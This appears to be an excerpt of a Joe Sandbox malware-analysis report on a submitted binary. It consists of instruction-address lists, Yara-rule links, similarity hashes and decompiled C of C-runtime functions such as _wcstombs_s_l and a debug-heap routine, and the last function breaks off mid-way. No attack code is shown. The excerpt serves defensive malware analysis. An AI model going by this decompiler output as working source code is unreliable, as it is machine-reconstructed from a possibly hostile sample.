0x0043bd8c
0x0043bd8c
0x0043bd93
0x0043bd9f
0x0043bda2
0x0043bda8
0x0043bdaf
0x0043bec2
0x00000000
0x0043bec2
0x0043bdb5
0x0043bdbb
0x0043bdbb
0x0043bdc2
0x00000000
0x0043bdf9
0x0043bdf9
0x0043bdfc
0x0043bdff
0x0043be02
0x0043be29
0x0043be29
0x0043be2c
0x0043be2f
0x0043be32
0x0043be56
0x0043be56
0x0043be59
0x0043be5c
0x0043be5f
0x0043be98
0x0043bea9
0x00000000
0x0043bea9
0x0043be61
0x0043be61
0x0043be64
0x0043be67
0x0043be6a
0x00000000
0x00000000
0x0043be6c
0x0043be6c
0x0043be6f
0x0043be72
0x0043be75
0x00000000
0x00000000
0x0043be77
0x0043be77
0x0043be7a
0x0043be7d
0x0043be80
0x00000000
0x00000000
0x0043be82
0x0043be82
0x0043be85
0x0043be88
0x0043be8b
0x00000000
0x00000000
0x0043be8d
0x0043be8d
0x0043be90
0x0043be93
0x0043be96
0x0043be9a
0x00000000
0x0043be9a
0x00000000
0x0043be96
0x0043be34
0x0043be34
0x0043be37
0x0043be3b
0x0043be3e
0x00000000
0x0043be40
0x0043be43
0x0043be46
0x0043be4c
0x0043be51
0x00000000
0x0043be51
0x0043be3e
0x0043be04
0x0043be04
0x0043be07
0x0043be0b
0x0043be0e
0x00000000
0x0043be10
0x0043be13
0x0043be16
0x0043be1c
0x0043be21
0x00000000
0x0043be21
0x00000000
0x0043beab
0x0043beab
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x0043bdd2
0x0043bdeb
0x0043bdee
0x0043bdee
0x0043bdf1
0x0043bdd4
0x0043bdd4
0x0043bdd7
0x0043bdda
0x0043bde0
0x0043bde6
0x0043bde6
0x00000000
0x00000000
0x0043beb6
0x0043beb6
0x0043beb9
0x0043beb9
0x0043bebf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bec7
0x0043bec7
0x0043bece
0x0043bed4
0x0043beda
0x0043bedd
0x0043bee3
0x0043beea
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043bef0
0x0043bef6
0x0043bef6
0x0043befd
0x00000000
0x0043c281
0x0043c281
0x0043c28f
0x0043c28f
0x0043c292
0x00000000
0x00000000
0x0043bf04
0x0043bf07
0x0043bf07
0x0043bf0d
0x0043bf0f
0x0043bf12
0x0043bf12
0x0043bf15
0x0043bf15
0x00000000
0x00000000
0x0043c04a
0x0043c04d
0x0043c04d
0x0043c052
0x0043c054
0x0043c057
0x0043c057
0x0043c05a
0x0043c05a
0x00000000
0x00000000
0x0043c44d
0x0043c44d
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x00000000
0x00000000
0x0043bfb4
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfcd
0x0043bfdb
0x0043bfdb
0x0043bfe1
0x0043bfe4
0x0043bff0
0x0043c045
0x00000000
0x0043c045
0x0043bfcf
0x0043bfcf
0x0043bfd5
0x0043bfd9
0x0043bff8
0x0043bff8
0x0043bffe
0x0043c026
0x0043c02d
0x0043c033
0x0043c036
0x0043c039
0x0043c03f
0x0043c042
0x0043c000
0x0043c000
0x0043c006
0x0043c009
0x0043c00c
0x0043c012
0x0043c015
0x0043c018
0x0043c01a
0x0043c01d
0x0043c01d
0x00000000
0x0043bffe
0x00000000
0x00000000
0x0043c299
0x0043c29c
0x0043c29f
0x0043c2a2
0x0043c2a8
0x0043c2ab
0x0043c2b2
0x0043c2b6
0x0043c2c1
0x0043c2c1
0x0043c2c5
0x0043c2dc
0x0043c2dc
0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c316
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c393
0x0043c398
0x0043c39a
0x0043c39e
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c39e
0x0043c3c1
0x0043c3c8
0x0043c3cb
0x0043c3d0
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c3fe
0x0043c401
0x0043c406
0x0043c40b
0x0043c40e
0x0043c411
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c740
0x0043c2c7
0x0043c2c7
0x0043c2ce
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf35
0x0043bf38
0x0043bf91
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf7c
0x0043bf84
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c42b
0x0043c42e
0x0043c431
0x0043c434
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c18a
0x0043c18a
0x0043c196
0x0043c19c
0x0043c1a1
0x0043c1a3
0x0043c24d
0x0043c24d
0x0043c250
0x0043c250
0x0043c253
0x0043c267
0x0043c26d
0x0043c273
0x0043c255
0x0043c255
0x0043c25b
0x0043c262
0x0043c262
0x0043c275
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043c1a9
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1cf
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f3
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c1f9
0x0043c200
0x0043c248
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x00000000
0x0043c23d
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c49e
0x0043c4a4
0x0043c4a6
0x0043c4a9
0x0043c4a9
0x0043c4af
0x0043c4af
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c58e
0x00000000
0x0043c446
0x0043c446
0x00000000
0x00000000
0x0043c05d
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c096
0x0043c099
0x0043c121
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c155
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c162
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c177
0x0043c17d
0x0043c17d
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0cb
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0dc
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0f3
0x0043c0fb
0x0043c0fd
0x0043c0ff
0x0043c105
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0bf
0x0043c0c2
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x00000000
0x0043c43d
0x0043c43d
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bccc
0x0043bccf
0x00000000
0x00000000
0x0043bcd4
0x0043bcd7
0x0043bcdd
0x00000000
0x00000000
0x0043bcbe
0x0043bcc1
0x0043bcc4
0x00000000
0x00000000
0x0043bcb3
0x0043bcb6
0x0043bcb9
0x00000000
0x00000000
0x0043bce2
0x0043bce2
0x0043bce5
0x0043bce5
0x0043bce8
0x00000000
0x00000000
0x0043bceb
0x00000000
0x00000000
0x0043bb5b
0x0043bb5b
0x0043bb5d
0x0043bb6b
0x0043bb5f
0x0043bb5f
0x0043bb5f
0x0043bb7b
0x0043bb88
0x0043bb8a
0x0043bb8f
0x0043bb91
0x0043bb96
0x0043bb9b
0x0043bb9d
0x0043bba2
0x0043bba8
0x0043bbaa
0x0043bbaa
0x0043bba8
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbb4
0x0043bbb9
0x0043bbd5
0x0043bbdd
0x0043bbea
0x0043bbef
0x0043ca04
0x0043ca11
0x0043ca11
0x0043bbb2
0x0043bb55
0x0043c940
0x0043c940
0x0043c947
0x0043c95e
0x0043c95e
0x0043c968
0x0043c968
0x0043c96e
0x0043c974
0x0043c97b
0x0043c97d
0x0043c982
0x0043c984
0x0043c989
0x0043c98e
0x0043c990
0x0043c995
0x0043c998
0x0043c99b
0x0043c99d
0x0043c99d
0x0043c99b
0x0043c99e
0x0043c9a5
0x0043c9f0
0x0043c9f9
0x0043c9fe
0x0043c9a7
0x0043c9ac
0x0043c9c8
0x0043c9d0
0x0043c9dd
0x0043c9e2
0x0043c9e2
0x00000000
0x0043c9a5
0x0043c949
0x0043c949
0x0043c950
0x00000000
0x00000000
0x0043c952
0x0043c952
0x00000000
0x0043c952
0x0043c740
0x0043c717
0x0043c717
0x0043c71b
0x0043c728
0x0043c72b
0x0043c72e
0x0043c731
0x0043c734
0x0043c737
0x0043c73a
0x0043c73a
0x0043c73d
0x00000000
0x0043c73d
0x0043c71d
0x0043c71d
0x0043c720
0x0043c723
0x0043c726
0x00000000
0x00000000
0x00000000
0x0043c726
0x0043c67c
0x0043c67c
0x0043c67f
0x0043c682
0x0043c689
0x0043c690
0x0043c698
0x0043c69e
0x0043c6a1
0x0043c6a4
0x0043c6ab
0x0043c6b7
0x0043c6bd
0x0043c6c3
0x0043c6ca
0x0043c6cc
0x0043c6d2
0x0043c6d2
0x0043c6d8
0x0043c6d8
0x0043c6de
0x0043c6e7
0x0043c6ec
0x0043c6ef
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x00000000
0x0043c66c
0x0043c65e
0x0043c59b
0x0043c59b
0x0043c5a2
0x00000000
0x00000000
0x00000000
0x0043c5d0
0x0043c5d0
0x0043c5d6
0x0043c5dc
0x0043c5e2
0x00000000
0x0043c5e2
0x0043c4b2
0x0043c463

APIs

_get_int64_arg.LIBCMTD ref: 0043C4C0
__aullrem.LIBCMT ref: 0043C690
__aulldiv.LIBCMT ref: 0043C6B2

Strings

9, xrefs: 0043C6C3
', xrefs: 0043C459

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: b13177f0f0c45a7818edf0e5515f174d37fe012ca0e09be76e3f7879a6554e48
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: 274118B1E002299FDB24CF58C981BAEB7B5FF89314F10619AD148BB241D7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00437793, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437793(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B5A0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E410();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437200(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B5A0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E410();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422F00(_t104))) = 0x22;
							E00422C90(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B5A0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422F00(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422F00(0x7fffffff))) = 0x16;
				E00422C90(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00437793
0x00437793
0x00437793
0x00437796
0x0043779d
0x004377b4
0x004377ba
0x004377ca
0x004377ca
0x004377cd
0x004377bc
0x004377bc
0x004377c2
0x004377c2
0x004377e0
0x004377e5
0x004377e5
0x004377ec
0x004377ee
0x004377f1
0x004377f1
0x004377fd
0x00437807
0x0043780a
0x004377ff
0x00437802
0x00437802
0x00437810
0x0043781b
0x0043781d
0x00437820
0x00437823
0x00437825
0x0043782a
0x0043782c
0x00437831
0x00437836
0x00437838
0x0043783d
0x00437843
0x00437845
0x00437845
0x00437843
0x0043784a
0x0043788b
0x0043788f
0x00437894
0x00437897
0x0043789a
0x0043789e
0x0043790a
0x0043790d
0x00437910
0x00437914
0x00437a01
0x00437a01
0x00437a05
0x00437a0d
0x00437a0d
0x00437a0f
0x00000000
0x00437a0f
0x0043791d
0x00437920
0x004379f7
0x004379fa
0x004379fa
0x004379fd
0x00000000
0x004379fd
0x00437926
0x0043792a
0x004379ea
0x004379ed
0x004379f0
0x00000000
0x004379f0
0x00437933
0x00437936
0x0043793a
0x0043793c
0x00437943
0x00437945
0x00437949
0x00437951
0x00437957
0x00437966
0x00437966
0x00437969
0x00437959
0x00437959
0x0043795e
0x0043795e
0x0043796c
0x00437978
0x0043797c
0x00437981
0x00437981
0x00437949
0x00437943
0x00437984
0x00437987
0x0043798a
0x0043798e
0x00437991
0x00437993
0x00437998
0x0043799a
0x0043799f
0x004379a4
0x004379a6
0x004379ab
0x004379ae
0x004379b1
0x004379b3
0x004379b3
0x004379b1
0x004379b4
0x004379b8
0x00000000
0x004379ba
0x004379bf
0x004379db
0x004379e3
0x00000000
0x004379e3
0x004378a0
0x004378a0
0x004378a4
0x004378a9
0x004378ac
0x004378b0
0x004378b2
0x004378b9
0x004378bb
0x004378bf
0x004378c7
0x004378cd
0x004378dd
0x004378dd
0x004378e0
0x004378cf
0x004378cf
0x004378d5
0x004378d5
0x004378ef
0x004378ef
0x004378f3
0x004378f8
0x004378bf
0x004378b9
0x004378b0
0x00437900
0x00437a12
0x00437a15
0x00437a15
0x0043789e
0x00437851
0x0043786d
0x00437875
0x00000000

APIs

_memset.LIBCMT ref: 004377E0
__invalid_parameter.LIBCMTD ref: 0043786D

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437831, 0043785E
_wcstombs_s_l, xrefs: 00437863
bufferSize <= INT_MAX, xrefs: 00437825, 00437868

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction ID: 62f6845fe8aaf9717ab2bf514c6f67f5b16bd1acbbcc5d62c7e9c1b60c44780c
Opcode Fuzzy Hash: 7a9118cbbc650944320ca362fbd724764fc9a0eef423cb1919e43218a2b9cbe5
Instruction Fuzzy Hash: B821B2B0A44349DBCF24DF54CC45BAE77A0BB18318F20566FE8A42A3C0D7B99951CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C9E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CAED
__free_base.LIBCMTD ref: 0041CAF9

Strings

t!hD&@, xrefs: 0041C9F9
pHead->nBlockUse == nBlockUse, xrefs: 0041C9FB
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CA07

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse$t!hD&@
API String ID: 2669475236-3516989280
Opcode ID: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction ID: f0a57dcdaad9c975aaa51c0cd061ff6789db1c9cef71afadcdbd540942eb5a57
Opcode Fuzzy Hash: fb5b138f8c5d43972584d2c9c0704d5c932171c3125ccf64173851ee85f6085b
Instruction Fuzzy Hash: C3215E74A40108EFCB04CF44DA85BAA77B2BF89308F30C199E5052B395C779EE42DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C446, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C446(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
